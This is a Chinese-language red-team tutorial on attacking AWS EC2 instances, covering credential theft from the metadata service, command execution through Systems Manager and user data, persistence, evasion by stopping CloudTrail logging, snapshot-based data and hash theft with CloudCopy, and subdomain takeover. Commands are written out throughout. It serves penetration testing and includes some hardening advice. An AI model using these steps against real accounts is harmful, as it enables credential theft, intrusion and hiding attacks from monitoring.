AWS EC2 彈性計算服務攻防
0x00 前言
在平時進行紅藍攻防演練的時候，經常會碰到目標資產在云服務機器上的情況，新的技術也會帶來新的風險，本文將以 AWS 的 EC2（Elastic Compute Cloud）彈性計算服務為例，主要談談在面對云服務器場景下的一些攻防手法。
0x01 初始訪問
1、元數據
元數據服務是一種提供查詢運行中的實例內元數據的服務，當實例向元數據服務發起請求時，該請求不會通過網絡傳輸，如果獲得了目標 EC2 權限或者目標 EC2 存在 SSRF 漏洞，就可以獲得到實例的元數據。
通過元數據，攻擊者除了可以獲得 EC2 上的一些屬性信息之外，有時還可以獲得與該實例綁定角色的臨時憑證，并通過該臨時憑證獲得云服務器的控制臺權限，進而橫向到其他機器。
通過訪問元數據的 /iam/security-credentials/路徑可以獲得目標的臨時憑證，進而接管目標服務器控制臺賬號權限，前提是目標需要配置 IAM 角色才行，不然訪問會 404
curl http://169.254.169.254/latest/meta-data/iam/security-credentials
通過元數據獲得目標的臨時憑證后，就可以接管目標賬號權限了。
2、憑證泄露
云場景下的憑證泄露可以分成以下幾種：
- 控制臺賬號密碼泄露，例如登錄控制臺的賬號密碼
- 臨時憑證泄露
- 訪問密鑰泄露，即 AccessKeyId、SecretAccessKey 泄露
- 實例登錄憑證泄露，例如 AWS 在創建 EC2 生成的證書文件遭到泄露
對于這類憑證信息的收集，一般可以通過以下幾種方法進行收集：
- Github 敏感信息搜索
- 反編譯目標 APK、小程序
- 目標網站源代碼泄露
3、賬號劫持
如果云廠商的控制臺存在漏洞的話，用戶賬號也會存在一定的風險。
例如 AWS 的控制臺曾經出現過一些 XSS 漏洞，攻擊者就可能會使用這些 XSS 漏洞進行賬號劫持，從而獲得目標云服務器實例的權限。
4、惡意的鏡像
AWS 在創建實例的時候，用戶可以選擇使用公共鏡像或者自定義鏡像，如果這些鏡像中有惡意的鏡像，那么目標使用該鏡像創建實例就會產生風險。
以 CVE-2018-15869 為例，關于該漏洞的解釋是：當人們通過 AWS 命令行使用「ec2 describe-images」功能時如果沒有指定 --owners 參數，可能會在無意中加載惡意的 Amazon 系統鏡像 ( AMI），導致 EC2 被用來挖礦。
對此，在使用 AWS 命令行時應該確保自己使用的是不是最新版的 AWS 命令行，同時確保從可信的來源去獲取 Amazon 系統鏡像。
5、其他的初始訪問方法
除了以上云場景下的方法外，還可以通過云服務上的應用程序漏洞、SSH 與 RDP 的弱密碼等傳統場景下的方法進入目標實例。
0x02 命令執行
1、接管控制臺
拿到 AWS 憑證后，可以進行控制臺的接管，這里以 pacu 工具為例。
pacu 工具里包含了很多 AWS 利用模塊，首先使用 set_keys 命令將剛才獲取到的 key 值添加到工具里。
接下來輸入 console 命令，得到一個 URL。
將該 URL 粘貼到瀏覽器，就可以訪問到目標的控制臺了，這時就可以做很多操作了，比如連接到實例上執行命令。
當目標實例被 AWS Systems Manager 代理后，除了在控制臺中直接連接到實例外，在 AWS Systems Manager 下也可以執行命令。
來到控制臺的 AWS Systems Manager -> 運行命令界面下，命令文檔選擇 AWS-RunShellScript，命令參數設置為自己想執行的命令
手動選擇想要執行命令的實例，輸出選項可以不設置，然后點擊運行。
點擊實例 ID 就能看到命令運行的結果了。
2、aws cli
當目標實例被 AWS Systems Manager 代理后，除了在控制臺可以執行命令外，拿到憑證后使用 AWS 命令行也可以在 EC2 上執行命令。
列出目標實例 ID
aws ec2 describe-instances --filters "Name=instance-type,Values=t2.micro" --query "Reservations[].Instances[].InstanceId"
在對應的實例上執行命令，注意將 instance-ID 改成自己實例的 ID
aws ssm send-command \ --instance-ids "instance-ID" \ --document-name "AWS-RunShellScript" \ --parameters commands=ifconfig \ --output text
獲得執行命令的結果，注意將 $sh-command-id 改成自己的 Command ID
aws ssm list-command-invocations \ --command-id $sh-command-id \ --details
3、用戶數據
在創建云服務器時，用戶可以通過指定自定義數據，進行配置實例，當云服務器啟動時，自定義數據將以文本的方式傳遞到云服務器中，并執行該文本，而且文本里的命令默認以 root 權限執行。
通過這一功能，攻擊者可以修改實例的用戶數據并向其中寫入待執行的命令，這些代碼將會在實例每次啟動時自動執行。
// 控制臺
在控制臺界面可以直接編輯實例的用戶數據。
在 AWS 下，修改用戶數據需要停止實例，在 AWS 下停止實例會擦除實例存儲卷上的所有數據，如果沒設置彈性 IP，實例的公有 IP 也會變化，因此停止實例需謹慎。
修改用戶數據的位置在：
操作-> 實例設置->編輯用戶數據
這里以執行 touch 命令為例。
如果用戶數據設置為以下內容，那么實例只有才第一次啟動才會運行。
#!/bin/bashtouch /tmp/teamssix.txt
如果用戶數據設置為以下內容，那么實例只要重啟就會運行。
Content-Type: multipart/mixed; boundary="http://"MIME-Version: 1.0 --//Content-Type: text/cloud-config; charset="us-ascii"MIME-Version: 1.0Content-Transfer-Encoding: 7bitContent-Disposition: attachment; filename="cloud-config.txt" #cloud-configcloud_final_modules:- [scripts-user, always] --//Content-Type: text/x-shellscript; charset="us-ascii"MIME-Version: 1.0Content-Transfer-Encoding: 7bitContent-Disposition: attachment; filename="userdata.txt" #!/bin/bashtouch /tmp/teamssix.txt--//--
保存用戶數據后啟動實例，這時進入實例，就可以看到剛才創建的文件了，這說明剛才的命令已經被執行了。
// 命令行
除了在控制臺上操作的方式外，也可以使用 aws cli 操作。
aws ec2 run-instances --image-id ami-abcd1234 --count 1 --instance-type m3.medium \--key-name my-key-pair --subnet-id subnet-abcd1234 --security-group-ids sg-abcd1234 \--user-data file://my_script.txt
my_script.txt 就是要執行的腳本
查看實例用戶數據
aws ec2 describe-instance-attribute --instance-id i-1234567890abcdef0 --attribute userData --output text --query "UserData.Value" | base64 --decode
4、其他的命令執行方法
除了上述云場景下的命令執行方法外，還有通過 RCE 漏洞、SSH 登錄到實例、后門文件等等傳統方法進行命令執行。
0x03 權限維持
1、用戶數據
在上文描述到用戶數據的時候，可以很容易發現用戶數據可以被用來做權限維持，只需要將要執行的命令改成反彈 Shell 的命令即可。
但是也許目標可能很長時間都不會重啟實例，而且用戶數據也只有實例停止時才能修改，因此還是傳統的權限維持方式會更具有優勢些，這樣來看使用用戶數據進行權限維持顯得就有些雞肋了。
2、后門鏡像
當攻擊者獲取到控制臺權限后，可以看看目標的 AMI（Amazon 系統鏡像），如果可以對其進行修改或者刪除、創建的話，RT 就可以將原來的鏡像替換成存在后門的鏡像。
這樣當下次目標用戶在選用該鏡像創建實例的時候，就會觸發我們在鏡像中植入的惡意代碼了。
3、創建訪問密鑰
如果當前環境可以創建新的訪問密鑰，則可以通過創建訪問密鑰的方式進行權限維持。
4、創建輔助賬號
除了以上的權限維持方法，還可以通過創建高權限子賬號的方式進行權限維持，然后通過這個子賬號進行后續的持續攻擊行為。
5、其他的權限維持方法
除了上述方法外，還可以通過在實例中添加隱藏用戶、安裝遠控軟件等等傳統方法進行權限維持。
0x04 權限提升
云場景下的權限提升大多還是傳統場景下的一些提升方法，例如通過實例的內核漏洞進行提權、通過實例上的服務漏洞進行提權等等。
0x05 防御繞過
1、關閉安全監控服務
云平臺上往往會對實例提供一些安全監控產品，攻擊者在開展攻擊前，應該把這類安全監控產品關閉，以避免對方的追溯和發現。
在 AWS 下，可以通過控制面板或者命令行關閉跟蹤。
2、在監控區域外攻擊
上面這種停止或者刪除的操作會觸發告警，因此可以通過配置禁用多區域日志記錄功能，并在監控區域外進行攻擊，這樣就監控不到了。
aws cloudtrail update-trail --name [my-trail] --no-is-multi-region-trail --no-include-global-service-events
在 AWS 中可以通過以下命令查看 Cloudtrail 的監控范圍，這樣我們就可以通過攻擊監控范圍外的主機，以避免觸發告警。
aws cloudtrail describe-trails
例如這里的主區域為 ap-northeast-2，而 IsMultiRegionTrail 多區域跟蹤是關閉的，也就是說當前這個 Trail 只會記錄 ap-northeast-2 區域內的事件。
3、停止日志記錄
相較于上面兩種方法，在攻擊開始前關閉日志，攻擊結束后再開啟日志是更方便友好的辦法。
列出跟蹤
aws cloudtrail list-trails
關閉日志記錄功能
aws cloudtrail stop-logging --name [my-trail]
開啟日志記錄功能
aws cloudtrail start-logging --name [my-trail]
4、其他的防御繞過
除了上述在控制臺、命令行操作外，一些傳統的手法也需要使用到，例如掛代理、刪除實例上的痕跡等等。
0x06 信息收集
1、共享快照
如果當前憑證具有 EC2:CreateSnapshot 權限的話，可以通過創建共享快照的方式，然后將自己 aws 控制臺下的實例掛載由該快照生成的卷，從而獲取到目標 EC2 中的內容。
// 公有快照
這里以公有快照作為示例。
這里隨便找一個快照，點擊創建卷，卷的大小需要大于或等于快照大小，這里創建一個 20G 大小的卷，另外可用區需要和自己的 EC2 保持一致，最后快照 ID 指定剛才隨便找的快照。
將剛創建的卷掛載到自己的實例中。
登錄到自己的實例，查看剛才添加卷的名稱。
sudo fdisk -l
通過大小可以判斷出來 /dev/xvdf 是剛才剛才添加的卷，然后將這個卷掛載到實例中，通過 ls 就可以看到這個公有快照中的數據了。
sudo mkdir /testsudo mount /dev/xvdf3 /testsudo ls /test
// 私有快照
在拿到目標 AWS 控制臺權限時，如果無法登錄到實例，可以為目標實例打個快照，然后將快照共享給自己。
將自己的賬號 ID 添加到快照共享后，在自己的 AWS 快照控制臺的私有快照處就能看到目標快照了，此時就可以將其掛載到自己的實例，查看里面的數據了。
目前也已經有了自動化工具了，CloudCopy 可以通過提供的訪問憑證自動實現創建實例快照、自動掛載快照等操作
不過 CloudCopy 默認只會獲取實例中的域成員哈希值，也就是說前提目標實例是一個域控，不過將這個工具稍微加以修改，就可以獲取到其他的文件了，下面來看下這個工具的使用。
獲取 CloudCopy 工具
git clone https://github.com/Static-Flow/CloudCopy.gitcd CloudCopypython3 CloudCopy.py
如果運行報錯，一般是因為第三方庫缺失，根據提示安裝對應模塊即可。
接下來，開始進行相應的配置，輸入自己的 AWS 賬號 ID 及訪問憑證以及目標的訪問憑證。
manual_cloudcopyshow_optionsset attackeraccountid xxxset attackerAccessKey xxxset attackerSecretKey xxxset victimAccessKey xxxset victimSecretKey xxxset region ap-northeast-2
配置好之后，就可以利用 CloudCopy 進行哈希竊取了
stealDCHashes
這時會提示選擇實例，直接輸入要竊取的實例編號即可。
等待一段時間，就可以看到已經讀到 DC 的哈希了。
2、元數據
在云場景下可以通過元數據進行臨時憑證和其他信息的收集，在 AWS 下的元數據地址為：http://169.254.169.254/latest/meta-data/，直接 curl 請求該地址即可。
這里介紹一些對于 RT 而言價值相對較高的元數據：
mac 實例 MAC 地址hostname 實例主機名iam/info 獲取角色名稱local-ipv4 實例本地 IPpublic-ipv4 實例公網 IPinstance-id 實例 IDpublic-hostname 接口的公有 DNS (IPv4)placement/region 實例的 AWS 區域public-keys/0/openssh-key 公有密鑰/iam/security-credentials/ 獲取角色的臨時憑證
3、云服務訪問密鑰
如果目標在實例上配置了 AWS 命令行工具，那么在 ~/.aws/credentials 路徑下，可以看到所配置的訪問密鑰。
4、用戶數據
在獲取到目標實例的權限后，在 /var/lib/cloud/instances/instance-id/ 目錄下可以看到當前實例的用戶數據。
在 /var/log/cloud-init-output.log 中可以看到用戶數據執行的日志。
或者直接使用元數據服務獲取用戶數據內容，如果返回 404 說明沒有用戶數據。
curl http://169.254.169.254/latest/user-data
5、網段信息
在進行橫向移動時，如果知道目標存在哪些網段可以起到事半功倍的效果，在云場景下，可以直接通過控制臺看到目標的網段情況。
或者通過命令行獲取目標子網信息。
aws ec2 describe-subnets --query 'Subnets[].CidrBlock'
6、其他的信息收集
除了上述和云場景相關的信息收集之外，在實例上的傳統信息收集也不能少，例如實例上可能會有一些配置文件的賬號密碼泄露、網絡連接情況等等。
0x07 橫向移動
1、控制臺
當攻擊者拿到目標 AWS 控制臺權限后，就可以通過控制臺上的實例連接功能進行內網橫向移動。
2、訪問憑證
當拿到目標的臨時訪問憑證或者訪問密鑰后，可以通過命令行或者也可以通過控制臺的方式進行內網橫向移動。
3、其他方法
雖然在云上，但如果通過前期的信息收集發現目標都處于相同的網段中的話，那么傳統的內網橫向方法就也是可以使用的。
0x08 影響
1、子域名接管
存在這個漏洞的前提是目標的 AWS EC2 沒有配置彈性 IP，此時如果目標子域 CNAME 配置了該公有 IPv4 DNS 地址或者 A 記錄配置了公有 IPv4 IP 地址，那么當該 EC2 被關機或者銷毀時，該實例的公有 IP 也會隨之釋放，此時這個 IP 就會被分配給新的 EC2 實例，造成子域名接管。
例如下面這個這個域名，可以看到 CNAME 綁定到了 AWS 的 EC2 上，可以看到現在 EC2 IP 地址是 15 開頭的。
訪問下，可以看到是正常訪問的。
此時我們將這個 EC2 實例停止再開機，在控制臺可以看到 IP 地址已經變成了 3 開頭的了
此時，因為 CNAME 記錄還是原來的記錄，所以再次訪問 ec2.teamssix.com 可以看到已經訪問不到了，因為原來的那個 15 開頭的 IP 此時已經不是我們的了，這樣便造成了域名接管。
只是這個域名不是被我們接管的，而是被別人接管了，或許自己的域名會被定向到別人的 Jenkins 上也說不定【手動狗頭】
白帽子：你資產里的有個 Jenkins RCE ！！！
廠家回復：感謝提交，我們正在調查。哦，這個域名的 DNS 記錄看起來是個懸掛 DNS 記錄，這個 Jenkins 資產不是我們的哦。
那么其實這里問題來了，怎么判斷 DNS 記錄里的 EC2 IP 是公有 IP 還是彈性 IP 呢？
大概有以下幾種方法：
- 證書判斷，如果某個子域綁定了 AWS EC2 IP，但是這個網站證書和其他子域名的證書明顯不一致，那么可能這個 EC2 就是使用的公有 IP，而且當前的 IP 已經是別人的 IP 了，當然前提是網站使用了 HTTPS
- 網絡空間搜索引擎歷史記錄，通過對該 IP 的歷史搜索記錄進行查詢，如果該 IP 的歷史掃描記錄一直在變化，那么可能就是公有 IP
- 通過谷歌、百度搜索的歷史記錄去判斷，這個原理和上面的第 2 點一樣，都是通過有沒有變化去判斷。
不過其實上面三種方法也沒法百分百的確定，所以其實最好的辦法就是直接問對方，當前 IP 是不是對方所屬，雖然這種做法不太 Hacker，但確實是最有效的辦法了。
最后如果子域名要綁定 EC2，建議為 EC2 綁定個彈性 IP，這樣即使實例重啟，IP 也不會變，避免自己的域名綁到了其他人的 EC2 的尷尬場景。
不過 u1s1，這個問題影響不算太大，畢竟攻擊者想劫持到這個域名的成本還是蠻高的。
2、其他影響
在得到目標的憑證后，就相當于獲取了目標的資源權限，這時候也可以對目標資源進行一些傳統場景下的利用，比如敏感信息竊取、篡改、加密勒索等等。
0x09 總結
除了以上云場景下獨有的攻擊方式外，一些非云場景下的攻擊方式，例如服務器上的應用漏洞、郵件釣魚獲得憑證、通過計劃任務進行權限維持等等，在 EC2 上也是會受到此類漏洞的影響的，不過這類非云場景的文章已經很多就不再贅述了。
整體而言，云場景下的攻擊手法大多還是圍繞著憑證泄露、配置錯誤這類問題展開，對于開發和運維人員而言，具備正確的配置、一定的安全意識就能避免很多安全問題的產生。
